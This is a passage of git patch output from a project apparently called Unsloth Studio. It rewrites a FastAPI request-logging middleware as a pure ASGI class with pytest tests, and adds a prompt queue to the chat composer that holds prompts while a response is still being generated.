+_EXCLUDED_SUFFIXES = (
+    ".png",
+    ".jpg",
+    ".jpeg",
+    ".svg",
+    ".ico",
+    ".woff",
+    ".woff2",
+    ".ttf",
+)
 
 
-class LoggingMiddleware(BaseHTTPMiddleware):
-    async def dispatch(self, request: Request, call_next: Callable) -> Response:
-        start_time = time.time()
+class LoggingMiddleware:
+    """ASGI request logger that avoids BaseHTTPMiddleware streaming wrappers."""
+
+    def __init__(self, app: ASGIApp) -> None:
+        self.app = app
+
+    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
+        if scope["type"] != "http":
+            await self.app(scope, receive, send)
+            return
+
+        path = scope["path"]
+        excluded = (
+            path in _EXCLUDED_PATHS
+            or path.startswith("/assets/")
+            or path.endswith(_EXCLUDED_SUFFIXES)
+        )
+        start_time = time.perf_counter()
+        status_code = 500
+
+        async def send_wrapper(message: Message) -> None:
+            nonlocal status_code
+            if message["type"] == "http.response.start":
+                status_code = message["status"]
+            await send(message)
 
         try:
-            response = await call_next(request)
-
-            process_time = (time.time() - start_time) * 1000
-
-            EXCLUDED_PATHS = {
-                "/api/train/status",
-                "/api/train/metrics",
-                "/api/train/hardware",
-                "/api/system",
-            }
-            is_excluded = (
-                request.url.path in EXCLUDED_PATHS
-                or request.url.path.startswith("/assets/")
-                or request.url.path.endswith(
-                    (".png", ".jpg", ".jpeg", ".ico", ".woff", ".woff2", ".ttf")
-                )
-            )
-
-            if not is_excluded:
-                logger.info(
-                    "request_completed",
-                    method = request.method,
-                    path = request.url.path,
-                    status_code = response.status_code,
-                    process_time_ms = round(process_time, 2),
-                )
-
-            return response
-
-        except Exception as e:
+            await self.app(scope, receive, send_wrapper)
+        except Exception as exc:
             logger.error(
                 "request_failed",
-                path = request.url.path,
-                method = request.method,
-                error = str(e),
+                path = path,
+                method = scope["method"],
+                status_code = status_code,
+                error = str(exc),
+                process_time_ms = round((time.perf_counter() - start_time) * 1000, 2),
                 exc_info = True,
             )
             raise
+        else:
+            if not excluded:
+                logger.info(
+                    "request_completed",
+                    method = scope["method"],
+                    path = path,
+                    status_code = status_code,
+                    process_time_ms = round((time.perf_counter() - start_time) * 1000, 2),
+                )
 
 
 def filter_sensitive_data(logger, method_name, event_dict):
diff --git a/studio/backend/tests/test_logging_middleware.py b/studio/backend/tests/test_logging_middleware.py
new file mode 100644
index 0000000000..34d43942ef
--- /dev/null
+++ b/studio/backend/tests/test_logging_middleware.py
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import asyncio
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+from starlette.staticfiles import StaticFiles
+
+from loggers import handlers as hmod
+from loggers.handlers import LoggingMiddleware
+
+
+class _LogCapture:
+    def __init__(self):
+        self.events = []
+
+    def info(self, event, **kw):
+        self.events.append(("info", event, kw))
+
+    def error(self, event, **kw):
+        self.events.append(("error", event, kw))
+
+
+@pytest.fixture
+def logs(monkeypatch):
+    capture = _LogCapture()
+    monkeypatch.setattr(hmod, "logger", capture)
+    return capture
+
+
+def _http_scope(path, method = "GET"):
+    return {"type": "http", "path": path, "method": method}
+
+
+async def _noop_receive():
+    return {"type": "http.disconnect"}
+
+
+def _run(coro):
+    return asyncio.run(coro)
+
+
+def test_success_logs_status_and_forwards_chunks(logs):
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 206, "headers": []})
+        await send({"type": "http.response.body", "body": b"a", "more_body": True})
+        await send({"type": "http.response.body", "body": b"", "more_body": False})
+
+    seen = []
+
+    async def send(message):
+        seen.append(message)
+
+    _run(LoggingMiddleware(app)(_http_scope("/api/health"), _noop_receive, send))
+
+    assert [m["type"] for m in seen] == [
+        "http.response.start",
+        "http.response.body",
+        "http.response.body",
+    ]
+    assert logs.events[0][1] == "request_completed"
+    assert logs.events[0][2]["status_code"] == 206
+
+
+def test_excluded_asset_success_skips_log(logs):
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 200, "headers": []})
+        await send({"type": "http.response.body", "body": b"ok"})
+
+    async def send(message):
+        pass
+
+    for path in ("/assets/index.css", "/huggingface.svg", "/font.woff2"):
+        _run(LoggingMiddleware(app)(_http_scope(path), _noop_receive, send))
+
+    assert logs.events == []
+
+
+def test_exception_logs_real_status_and_reraises(logs):
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": 418, "headers": []})
+        raise RuntimeError("stream failed")
+
+    async def send(message):
+        pass
+
+    with pytest.raises(RuntimeError, match = "stream failed"):
+        _run(LoggingMiddleware(app)(_http_scope("/api/health"), _noop_receive, send))
+
+    assert logs.events[0][1] == "request_failed"
+    assert logs.events[0][2]["status_code"] == 418
+    assert logs.events[0][2]["error"] == "stream failed"
+    assert "process_time_ms" in logs.events[0][2]
+
+
+def test_cancelled_error_propagates_without_error_log(logs):
+    async def app(scope, receive, send):
+        raise asyncio.CancelledError()
+
+    async def send(message):
+        pass
+
+    with pytest.raises(asyncio.CancelledError):
+        _run(LoggingMiddleware(app)(_http_scope("/api/health"), _noop_receive, send))
+
+    assert logs.events == []
+
+
+def test_non_http_scope_passes_through(logs):
+    seen = []
+
+    async def app(scope, receive, send):
+        seen.append(scope["type"])
+
+    async def send(message):
+        pass
+
+    _run(LoggingMiddleware(app)({"type": "websocket", "path": "/ws"}, _noop_receive, send))
+
+    assert seen == ["websocket"]
+    assert logs.events == []
+
+
+def test_fastapi_static_asset_success_skips_log(tmp_path, logs):
+    assets_dir = tmp_path / "assets"
+    assets_dir.mkdir()
+    (assets_dir / "app.css").write_text("body { color: black; }", encoding = "utf-8")
+
+    app = FastAPI()
+    app.add_middleware(LoggingMiddleware)
+
+    @app.get("/api/health")
+    async def health():
+        return {"ok": True}
+
+    app.mount("/assets", StaticFiles(directory = assets_dir), name = "assets")
+    client = TestClient(app)
+
+    response = client.get("/api/health")
+    assert response.status_code == 200
+    assert logs.events[0][1] == "request_completed"
+    assert logs.events[0][2]["path"] == "/api/health"
+
+    log_count = len(logs.events)
+    response = client.get("/assets/app.css")
+    assert response.status_code == 200
+    assert response.text == "body { color: black; }"
+    assert len(logs.events) == log_count

From b53cc957dcc43bb105b0fde3ac42c92458eeaba5 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 15 Jun 2026 16:03:57 +0100
Subject: [PATCH 18/91] Studio: queue chat prompts while generation is running
 (#6244)

* feat: queue chat prompts during generation

* fix: address prompt queue review edge cases

* fix: harden queued prompt dispatch

* fix: track queued prompt run state by thread

* fix: preserve prompt queue ordering

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: isolate prompt queue on chat switches

* fix: harden prompt queue cancellation

* fix: address prompt queue review followups

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../src/components/assistant-ui/thread.tsx    | 785 ++++++++++++++----
 .../src/features/chat/runtime-provider.tsx    |  21 +
 .../chat/utils/prompt-queue-boundary.ts       |   8 +
 3 files changed, 674 insertions(+), 140 deletions(-)
 create mode 100644 studio/frontend/src/features/chat/utils/prompt-queue-boundary.ts

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index ce1beb24d7..ee3754bdf6 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -75,6 +75,7 @@ import { useRagToolDisabled } from "@/features/chat/hooks/use-rag-tool-disabled"
 import { BypassPermissionsMenuItem } from "@/features/chat/bypass-permissions-menu-item";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { useExternalProvidersStore } from "@/features/chat/stores/external-providers-store";
+import { PROMPT_QUEUE_STOP_EVENT } from "@/features/chat/utils/prompt-queue-boundary";
 import {
   PLUS_MENU_ORDER,
   composerDraftKey,
@@ -84,6 +85,7 @@ import {
   writeComposerDraft,
 } from "@/features/chat";
 import { deleteThreadMessage } from "@/features/chat/utils/delete-thread-message";
+import { listThreadDocuments } from "@/features/rag/api/rag-api";
 import { ThreadDocumentsBar } from "@/features/rag/components/thread-documents-bar";
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { DocumentPreviewMount } from "@/features/rag/components/document-preview-mount";
@@ -158,6 +160,7 @@ import {
   useRef,
   useState,
 } from "react";
+import { create } from "zustand";
 
 // True while a file is dragged anywhere over the chat page, so the composer
 // can show its "Drop files here" affordance.
@@ -165,79 +168,421 @@ const PageDragContext = createContext(false);
 
 // Single-chat prompt queue. State lives at module level so it survives the
 // Composer remount when the first queued message creates a new thread, and
-// detection subscribes to the store's runningByThreadId rather than
-// aui.thread() (unbound on the welcome screen).
-
-import { create as _createZustand } from "zustand";
-
-// Module-level Zustand so ComposerRightControls re-renders across Composer mounts.
-interface _QueueUIState { isRunning: boolean; current: number; total: number; }
-const _useQueueUI = _createZustand<_QueueUIState>(() => ({
-  isRunning: false, current: 0, total: 0,
-}));
-
-let _qItems: string[] = [];
-let _qIndex = 0;
-let _qIsRunning = false;
-let _qPrevStoreRunning = false;
-let _qStoreUnsub: (() => void) | null = null;
-
-// Points to the current Composer's aui (updated every render), so it stays valid
-// after a remount.
-let _qGetAui: () => ReturnType<typeof useAui> = () => {
-  throw new Error("aui not initialised");
+// detection subscribes to runningByThreadId instead of aui.thread() so the
+// welcome-screen composer can queue safely before a thread is bound.
+type PromptQueueUIEntry = {
+  current: number;
+  total: number;
 };
 
-function _qStopSubscription() {
-  if (_qStoreUnsub) { _qStoreUnsub(); _qStoreUnsub = null; }
-  _qPrevStoreRunning = false;
+interface PromptQueueUIState {
+  byThreadId: Record<string, PromptQueueUIEntry>;
 }
 
-function _qAdvance() {
-  const nextIndex = _qIndex + 1;
-  if (nextIndex >= _qItems.length) {
-    _qIsRunning = false;
-    _qItems = [];
-    _qIndex = 0;
-    _qStopSubscription();
-    _useQueueUI.setState({ isRunning: false, current: 0, total: 0 });
+const usePromptQueueUI = create<PromptQueueUIState>(() => ({
+  byThreadId: {},
+}));
+
+type PromptQueueTarget = {
+  getDocumentThreadId: () => string | null;
+  getRunningThreadIds: () => string[];
+  append: (prompt: string) => void;
+  cancel: () => void;
+  isIndexing: () => boolean;
+};
+
+type PromptQueueItem = {
+  prompt: string;
+  target: PromptQueueTarget;
+};
+
+const PROMPT_QUEUE_INDEXING_RETRY_MS = 500;
+
+let promptQueueItems: PromptQueueItem[] = [];
+let promptQueueIndex = 0;
+let promptQueueIsRunning = false;
+let promptQueueGeneration = 0;
+let promptQueuePrevStoreRunning = false;
+let promptQueueWaitingForTargetIdle = false;
+let promptQueueStoreUnsub: (() => void) | null = null;
+let promptQueueRetryTimer: ReturnType<typeof setTimeout> | null = null;
+
+function compactIds(ids: Array<string | null | undefined>) {
+  return Array.from(new Set(ids.filter((id): id is string => Boolean(id))));
+}
+
+function stopPromptQueueSubscription({
+  resetRunningState = true,
+}: {
+  resetRunningState?: boolean;
+} = {}) {
+  if (promptQueueStoreUnsub) {
+    promptQueueStoreUnsub();
+    promptQueueStoreUnsub = null;
+  }
+  if (resetRunningState) {
+    promptQueuePrevStoreRunning = false;
+  }
+}
+
+function resetPromptQueue(showToast = false) {
+  promptQueueGeneration += 1;
+  promptQueueIsRunning = false;
+  promptQueueItems = [];
+  promptQueueIndex = 0;
+  promptQueueWaitingForTargetIdle = false;
+  if (promptQueueRetryTimer) {
+    clearTimeout(promptQueueRetryTimer);
+    promptQueueRetryTimer = null;
+  }
+  stopPromptQueueSubscription();
+  syncPromptQueueUI();
+  if (showToast) {
     toast.success("Prompt queue complete");
+  }
+}
+
+function queueToastDescription(prompt: string) {
+  return prompt.length > 80 ? `${prompt.slice(0, 80)}...` : prompt;
+}
+
+function appendQueuedPrompt(item: PromptQueueItem) {
+  syncPromptQueueUI();
+  item.target.append(item.prompt);
+}
+
+async function targetHasIndexingDocuments(item: PromptQueueItem) {
+  if (item.target.isIndexing()) {
+    return true;
+  }
+  const state = useChatRuntimeStore.getState();
+  if (
+    !state.ragEnabled ||
+    state.ragSource.type !== "thread"
+  ) {
+    return false;
+  }
+  const threadId = item.target.getDocumentThreadId();
+  if (!threadId) {
+    return false;
+  }
+  try {
+    const documents = await listThreadDocuments(threadId);
+    return documents.some(
+      (doc) => doc.status === "pending" || doc.status === "running",
+    );
+  } catch {
+    return item.target.isIndexing();
+  }
+}
+
+function isActivePromptQueueItem(item: PromptQueueItem, generation: number) {
+  if (!promptQueueIsRunning || generation !== promptQueueGeneration) {
+    return false;
+  }
+  return promptQueueItems[Math.max(promptQueueIndex, 0)] === item;
+}
+
+function scheduleQueuedPromptDispatch(
+  item: PromptQueueItem,
+  delay: number,
+  generation = promptQueueGeneration,
+) {
+  if (promptQueueRetryTimer) {
+    clearTimeout(promptQueueRetryTimer);
+  }
+  promptQueueRetryTimer = setTimeout(() => {
+    promptQueueRetryTimer = null;
+    void dispatchQueuedPrompt(item, generation);
+  }, delay);
+}
+
+async function dispatchQueuedPrompt(
+  item: PromptQueueItem,
+  generation = promptQueueGeneration,
+) {
+  if (!isActivePromptQueueItem(item, generation)) {
     return;
   }
-  _qIndex = nextIndex;
-  _useQueueUI.setState({ current: nextIndex + 1, total: _qItems.length });
-  const next = _qItems[nextIndex];
-  toast(`Prompt ${nextIndex + 1} / ${_qItems.length}`, {
-    description: next.length > 80 ? next.slice(0, 80) + "…" : next,
-  });
-  _qPrevStoreRunning = false; // catch the next run
-  setTimeout(() => {
-    _qGetAui().thread().append({
-      role: "user",
-      content: [{ type: "text", text: next }],
-      createdAt: new Date(),
-    } as never);
-  }, 100);
+  if (
+    isPromptQueueTargetRunning(
+      item.target,
+      useChatRuntimeStore.getState().runningByThreadId,
+    )
+  ) {
+    promptQueueWaitingForTargetIdle = true;
+    promptQueuePrevStoreRunning = true;
+    syncPromptQueueUI();
+    startPromptQueueSubscription();
+    return;
+  }
+  const hasIndexingDocuments = await targetHasIndexingDocuments(item);
+  if (!isActivePromptQueueItem(item, generation)) {
+    return;
+  }
+  if (hasIndexingDocuments) {
+    scheduleQueuedPromptDispatch(item, PROMPT_QUEUE_INDEXING_RETRY_MS);
+    return;
+  }
+  if (!isActivePromptQueueItem(item, generation)) {
+    return;
+  }
+  appendQueuedPrompt(item);
 }
 
-function _qStartSubscription() {
-  _qStopSubscription();
+function createQueuedPrompt(prompt: string, target: PromptQueueTarget) {
+  return {
+    prompt,
+    target,
+  };
+}
+
+function appendTextToThread(prompt: string) {
+  return {
+    role: "user",
+    content: [{ type: "text", text: prompt }],
+    createdAt: new Date(),
+  } as never;
+}
+
+function getPromptQueueTargetIds(target: PromptQueueTarget) {
+  return compactIds([
+    ...target.getRunningThreadIds(),
+    target.getDocumentThreadId(),
+  ]);
+}
+
+function findPromptQueueEntry(
+  state: PromptQueueUIState,
+  threadIds: string[],
+) {
+  for (const threadId of threadIds) {
+    const entry = state.byThreadId[threadId];
+    if (entry) {
+      return entry;
+    }
+  }
+  return null;
+}
+
+function syncPromptQueueUI() {
+  if (!promptQueueIsRunning || promptQueueItems.length === 0) {
+    usePromptQueueUI.setState({ byThreadId: {} });
+    return;
+  }
+
+  const activeItemIndex = Math.max(promptQueueIndex, 0);
+  const groups: Array<{
+    ids: Set<string>;
+    current: number;
+    total: number;
+    active: boolean;
+  }> = [];
+
+  for (const [index, item] of promptQueueItems.entries()) {
+    const ids = getPromptQueueTargetIds(item.target);
+    if (ids.length === 0) {
+      continue;
+    }
+    let group = groups.find((candidate) =>
+      ids.some((id) => candidate.ids.has(id)),
+    );
+    if (!group) {
+      group = {
+        ids: new Set<string>(),
+        current: 0,
+        total: 0,
+        active: false,
+      };
+      groups.push(group);
+    }
+    ids.forEach((id) => group.ids.add(id));
+    group.total += 1;
+    if (promptQueueIndex >= 0 && index <= promptQueueIndex) {
+      group.current += 1;
+    }
+    if (index === activeItemIndex) {
+      group.active = true;
+    }
+  }
+
+  const byThreadId: Record<string, PromptQueueUIEntry> = {};
+  for (const group of groups) {
+    if (!group.active && group.current >= group.total) {
+      continue;
+    }
+    const entry = {
+      current: Math.min(group.current, group.total),
+      total: group.total,
+    };
+    group.ids.forEach((id) => {
+      byThreadId[id] = entry;
+    });
+  }
+
+  usePromptQueueUI.setState({ byThreadId });
+}
+
+function isPromptQueueTargetRunning(
+  target: PromptQueueTarget,
+  runningByThreadId: Record<string, boolean>,
+) {
+  const runningIds = Object.keys(runningByThreadId);
+  if (runningIds.length === 0) {
+    return false;
+  }
+
+  const targetIds = target.getRunningThreadIds();
+  if (targetIds.length === 0) {
+    return runningIds.length > 0;
+  }
+
+  return runningIds.some((threadId) => targetIds.includes(threadId));
+}
+
+function isActivePromptQueueTargetRunning(
+  runningByThreadId: Record<string, boolean>,
+) {
+  const activeItem = promptQueueItems[Math.max(promptQueueIndex, 0)];
+  if (!activeItem) {
+    return false;
+  }
+  return isPromptQueueTargetRunning(activeItem.target, runningByThreadId);
+}
+
+function advancePromptQueue() {
+  const nextIndex = promptQueueIndex + 1;
+  if (nextIndex >= promptQueueItems.length) {
+    resetPromptQueue(true);
+    return;
+  }
+  promptQueueIndex = nextIndex;
+  syncPromptQueueUI();
+  const next = promptQueueItems[nextIndex];
+  toast(`Prompt ${nextIndex + 1} / ${promptQueueItems.length}`, {
+    description: queueToastDescription(next.prompt),
+  });
+  promptQueueWaitingForTargetIdle = false;
+  promptQueuePrevStoreRunning = false;
+  scheduleQueuedPromptDispatch(next, 100);
+}
+
+function startPromptQueueSubscription() {
+  const wasWaitingForRun = promptQueuePrevStoreRunning;
+  stopPromptQueueSubscription({ resetRunningState: false });
+  promptQueuePrevStoreRunning = wasWaitingForRun;
   // runningByThreadId tracks the actual thread (not aui.thread()), so detection
   // survives navigation.
-  _qStoreUnsub = useChatRuntimeStore.subscribe((state) => {
-    if (!_qIsRunning) { _qStopSubscription(); return; }
-    const isRunning = Object.keys(state.runningByThreadId).length > 0;
-    const wasRunning = _qPrevStoreRunning;
-    _qPrevStoreRunning = isRunning;
+  promptQueueStoreUnsub = useChatRuntimeStore.subscribe((state) => {
+    if (!promptQueueIsRunning) {
+      stopPromptQueueSubscription();
+      return;
+    }
+    const isRunning = isActivePromptQueueTargetRunning(state.runningByThreadId);
+    const wasRunning = promptQueuePrevStoreRunning;
+    promptQueuePrevStoreRunning = isRunning;
     if (wasRunning && !isRunning) {
-      _qAdvance();
+      if (promptQueueWaitingForTargetIdle) {
+        promptQueueWaitingForTargetIdle = false;
+        const activeItem = promptQueueItems[promptQueueIndex];
+        if (activeItem) {
+          scheduleQueuedPromptDispatch(activeItem, 50);
+        }
+        return;
+      }
+      advancePromptQueue();
     }
   });
+
+  const isRunningNow = isActivePromptQueueTargetRunning(
+    useChatRuntimeStore.getState().runningByThreadId,
+  );
+  if (promptQueuePrevStoreRunning && !isRunningNow) {
+    promptQueuePrevStoreRunning = false;
+    if (promptQueueWaitingForTargetIdle) {
+      promptQueueWaitingForTargetIdle = false;
+      const activeItem = promptQueueItems[promptQueueIndex];
+      if (activeItem) {
+        scheduleQueuedPromptDispatch(activeItem, 50);
+      }
+      return;
+    }
+    advancePromptQueue();
+  }
 }
 
-interface _QueueCallbacks { startQueue: (items: string[]) => void; stopQueue: () => void; }
-const PromptQueueContext = createContext<_QueueCallbacks>({
-  startQueue: () => {}, stopQueue: () => {},
+function startPromptQueue(
+  items: string[],
+  target: PromptQueueTarget,
+  waitForCurrentRun = false,
+) {
+  const filtered = items.map((item) => item.trim()).filter(Boolean);
+  if (filtered.length === 0) {
+    return;
+  }
+
+  if (promptQueueIsRunning) {
+    promptQueueItems.push(
+      ...filtered.map((prompt) => createQueuedPrompt(prompt, target)),
+    );
+    syncPromptQueueUI();
+    toast.success("Added to prompt queue", {
+      description: `${filtered.length} prompt${filtered.length === 1 ? "" : "s"} queued.`,
+    });
+    return;
+  }
+
+  const runningByThreadId = useChatRuntimeStore.getState().runningByThreadId;
+  const shouldWaitForCurrentRun =
+    waitForCurrentRun &&
+    isPromptQueueTargetRunning(target, runningByThreadId);
+  promptQueueGeneration += 1;
+  promptQueueItems = filtered.map((prompt) =>
+    createQueuedPrompt(prompt, target),
+  );
+  promptQueueIndex = shouldWaitForCurrentRun ? -1 : 0;
+  promptQueueIsRunning = true;
+  promptQueuePrevStoreRunning = shouldWaitForCurrentRun;
+  syncPromptQueueUI();
+  toast(
+    shouldWaitForCurrentRun ? "Prompt queued" : `Prompt 1 / ${filtered.length}`,
+    {
+      description: queueToastDescription(filtered[0]),
+    },
+  );
+  startPromptQueueSubscription();
+  if (!shouldWaitForCurrentRun) {
+    const first = promptQueueItems[0];
+    if (first) {
+      scheduleQueuedPromptDispatch(first, 50);
+    }
+  }
+}
+
+function stopPromptQueueRun() {
+  const activeTarget = promptQueueItems[Math.max(promptQueueIndex, 0)]?.target;
+  resetPromptQueue();
+  try {
+    activeTarget?.cancel();
+  } catch {
+    // The active run may have already ended.
+  }
+}
+
+if (typeof window !== "undefined") {
+  window.addEventListener(PROMPT_QUEUE_STOP_EVENT, () => stopPromptQueueRun());
+}
+
+interface PromptQueueCallbacks {
+  startQueue: (items: string[], waitForCurrentRun?: boolean) => void;
+  stopQueue: () => void;
+}
+const noopStartPromptQueue: PromptQueueCallbacks["startQueue"] = () =>
+  undefined;
+const noopStopPromptQueue: PromptQueueCallbacks["stopQueue"] = () => undefined;
+const PromptQueueContext = createContext<PromptQueueCallbacks>({
+  startQueue: noopStartPromptQueue,
+  stopQueue: noopStopPromptQueue,
 });
 
 // Gap (px) between last message and floating composer; bottom spacer tracks
@@ -914,7 +1259,7 @@ const Composer: FC<{
     (s) => s.setPendingImageEditReference,
   );
   const { inputProps, isComposing, isComposingRef } =
-    useImeComposerInputHandlers();
+    useImeComposerInputHandlers({ submitOnEnter: true });
   const composerText = useAuiState(({ composer }) => composer.text);
   // Expand only once the input wraps to a second line, not on first keystroke.
   // Latch until cleared so it can't flip-flop at the wrap boundary.
@@ -958,19 +1303,49 @@ const Composer: FC<{
   const hasPendingAudio = useChatRuntimeStore((s) =>
     Boolean(s.pendingAudioName),
   );
+  const threadIsRunning = useAuiState(({ thread }) => thread.isRunning);
+  const threadListItemId = useAuiState(
+    ({ threadListItem }) => threadListItem.id,
+  );
+  const threadListItemRemoteId = useAuiState(
+    ({ threadListItem }) => threadListItem.remoteId,
+  );
   const referenceThreadId = threadId ?? activeThreadId ?? null;
+  const promptQueueThreadIds = compactIds([
+    threadListItemId,
+    threadListItemRemoteId,
+    threadId,
+  ]);
+  const promptQueueActive = usePromptQueueUI((s) =>
+    Boolean(findPromptQueueEntry(s, promptQueueThreadIds)),
+  );
+  useEffect(() => {
+    if (threadId != null || activeThreadId != null) {
+      return;
+    }
+    stopPromptQueueRun();
+  }, [activeThreadId, threadId]);
   const hasSendableContent =
     composerText.trim().length > 0 || hasAttachments || hasPendingAudio;
+  const canQueueCurrentPrompt =
+    composerText.trim().length > 0 &&
+    !hasAttachments &&
+    !hasPendingAudio &&
+    !isComposing &&
+    !hasPendingAttachments &&
+    !disabled &&
+    !overlay;
 
   // Per-thread draft autosave: restore on mount, then mirror composer text
   // into localStorage (debounced) so a half-typed message survives a
   // navigation or reload. Cleared once empty (i.e. after a send). Setting the
   // text even when no draft exists keeps a thread from inheriting the
   // previous thread's composer contents.
-  const draftKey = composerDraftKey(activeThreadId);
+  const draftThreadId = referenceThreadId;
+  const draftKey = draftThreadId ? composerDraftKey(draftThreadId) : null;
   const lastDraftKeyRef = useRef(draftKey);
   useEffect(() => {
-    const draft = readComposerDraft(draftKey) ?? "";
+    const draft = draftKey ? (readComposerDraft(draftKey) ?? "") : "";
     const composer = aui.composer();
     if (composer.getState().isEditing) {
       composer.setText(draft);
@@ -983,6 +1358,9 @@ const Composer: FC<{
       lastDraftKeyRef.current = draftKey;
       return;
     }
+    if (!draftKey) {
+      return;
+    }
     const t = setTimeout(() => writeComposerDraft(draftKey, composerText), 300);
     return () => clearTimeout(t);
   }, [composerText, draftKey]);
@@ -1043,10 +1421,53 @@ const Composer: FC<{
   // While this thread's docs index, hold the send and fire it once they finish so
   // retrieval covers all of them.
   const [indexingActive, setIndexingActive] = useState(false);
+  const indexingActiveRef = useRef(false);
   const [pendingSend, setPendingSend] = useState(false);
   const pendingSendRef = useRef(false);
   const waitToastRef = useRef<string | number | null>(null);
 
+  const handleIndexingChange = useCallback((active: boolean) => {
+    indexingActiveRef.current = active;
+    setIndexingActive(active);
+  }, []);
+
+  const createPromptQueueTarget = useCallback((): PromptQueueTarget => {
+    const thread = aui.thread();
+    const threadListItem = aui.threadListItem();
+    const initialState = threadListItem.getState();
+    const initialRunningThreadIds = [
+      initialState.id,
+      initialState.remoteId,
+      referenceThreadId,
+    ].filter((id): id is string => Boolean(id));
+    const initialDocumentThreadId =
+      initialState.remoteId ?? referenceThreadId ?? null;
+    return {
+      getDocumentThreadId: () => {
+        const state = threadListItem.getState();
+        return state.remoteId ?? referenceThreadId ?? initialDocumentThreadId;
+      },
+      getRunningThreadIds: () => {
+        const state = threadListItem.getState();
+        return Array.from(
+          new Set(
+            [
+              ...initialRunningThreadIds,
+              state.id,
+              state.remoteId,
+              referenceThreadId,
+            ].filter((id): id is string => Boolean(id)),
+          ),
+        );
+      },
+      append: (prompt) => {
+        thread.append(appendTextToThread(prompt));
+      },
+      cancel: () => thread.cancelRun(),
+      isIndexing: () => indexingActiveRef.current,
+    };
+  }, [aui, referenceThreadId]);
+
   const dismissWaitToast = useCallback(() => {
     if (waitToastRef.current !== null) {
       toast.dismiss(waitToastRef.current);
@@ -1120,6 +1541,39 @@ const Composer: FC<{
 
   const handleSubmit = useCallback(
     (event: Parameters<NonNullable<ComponentProps<"form">["onSubmit"]>>[0]) => {
+      if (disabled || shouldBlockSend()) {
+        event.preventDefault();
+        return;
+      }
+
+      if (threadIsRunning || promptQueueActive) {
+        event.preventDefault();
+        if (!canQueueCurrentPrompt) {
+          if (overlay || hasAttachments || hasPendingAudio) {
+            toast.error(
+              threadIsRunning
+                ? "Wait for the current response to finish"
+                : "Wait for the prompt queue to finish",
+              {
+                description:
+                  "Only text prompts can be queued while a response is running or the prompt queue is active.",
+              },
+            );
+          }
+          return;
+        }
+        const queuedPrompt = composerText.trim();
+        flushResourcesSync(() => {
+          aui.composer().setText("");
+        });
+        startPromptQueue(
+          [queuedPrompt],
+          createPromptQueueTarget(),
+          threadIsRunning,
+        );
+        return;
+      }
+
       if (interceptSend(event)) return;
 
       if (overlay) {
@@ -1166,51 +1620,36 @@ const Composer: FC<{
     },
     [
       aui,
+      canQueueCurrentPrompt,
       closeOverlay,
       composerText,
+      createPromptQueueTarget,
+      disabled,
+      hasAttachments,
+      hasPendingAudio,
       interceptSend,
       overlay,
+      promptQueueActive,
       referenceThreadId,
       setImageToolsEnabled,
       setPendingImageEditReference,
+      shouldBlockSend,
+      threadIsRunning,
     ],
   );
 
-  // Update the getter every render so the queue always calls the current
-  // Composer's aui (post-remount).
-  _qGetAui = () => aui;
-
   const stopQueue = useCallback(() => {
-    _qIsRunning = false;
-    _qStopSubscription();
-    _useQueueUI.setState({ isRunning: false, current: 0, total: 0 });
-    _qItems = [];
-    _qIndex = 0;
-    try { _qGetAui().thread().cancelRun(); } catch {}
+    stopPromptQueueRun();
   }, []);
 
-  const startQueue = useCallback((items: string[]) => {
-    const filtered = items.filter((p) => p.trim());
-    if (!filtered.length) return;
-    _qItems = filtered;
-    _qIndex = 0;
-    _qIsRunning = true;
-    _useQueueUI.setState({ isRunning: true, current: 1, total: filtered.length });
-    toast(`Prompt 1 / ${filtered.length}`, {
-      description: filtered[0].length > 80 ? filtered[0].slice(0, 80) + "…" : filtered[0],
-    });
-    // Subscribe BEFORE appending so we don't miss a very fast completion.
-    _qStartSubscription();
-    setTimeout(() => {
-      _qGetAui().thread().append({
-        role: "user",
-        content: [{ type: "text", text: filtered[0] }],
-        createdAt: new Date(),
-      } as never);
-    }, 50);
-  }, []);
+  const startQueue = useCallback(
+    (items: string[], waitForCurrentRun = threadIsRunning) => {
+      startPromptQueue(items, createPromptQueueTarget(), waitForCurrentRun);
+    },
+    [createPromptQueueTarget, threadIsRunning],
+  );
 
-  const queueContextValue: _QueueCallbacks = { startQueue, stopQueue };
+  const queueContextValue: PromptQueueCallbacks = { startQueue, stopQueue };
 
   const composerContent = (
     <>
@@ -1218,7 +1657,7 @@ const Composer: FC<{
       <PendingAudioChip />
       <ThreadDocumentsBar
         threadId={referenceThreadId}
-        onIndexingChange={setIndexingActive}
+        onIndexingChange={handleIndexingChange}
       />
       <ToolStatusDisplay />
       <div
@@ -1269,9 +1708,22 @@ const Composer: FC<{
             isComposing ||
             hasPendingAttachments
           }
+          queueDisabled={!canQueueCurrentPrompt}
+          onQueueClick={() => {
+            const queuedPrompt = composerText.trim();
+            if (queuedPrompt.length === 0) {
+              return;
+            }
+            flushResourcesSync(() => {
+              aui.composer().setText("");
+            });
+            startPromptQueue([queuedPrompt], createPromptQueueTarget(), true);
+          }}
           onSendClick={interceptSend}
+          onStopClick={stopQueue}
           pendingSend={pendingSend}
           menuSide={effectiveMenuSide}
+          queueThreadIds={promptQueueThreadIds}
         />
       </div>
     </>
@@ -1330,7 +1782,11 @@ function isNativeComposing(event: Event) {
 // pause but short enough to recover before the user notices Send is stuck.
 const IME_STUCK_TIMEOUT_MS = 2500;
 
-function useImeComposerInputHandlers() {
+function useImeComposerInputHandlers({
+  submitOnEnter = false,
+}: {
+  submitOnEnter?: boolean;
+} = {}) {
   const aui = useAui();
   const composingRef = useRef(false);
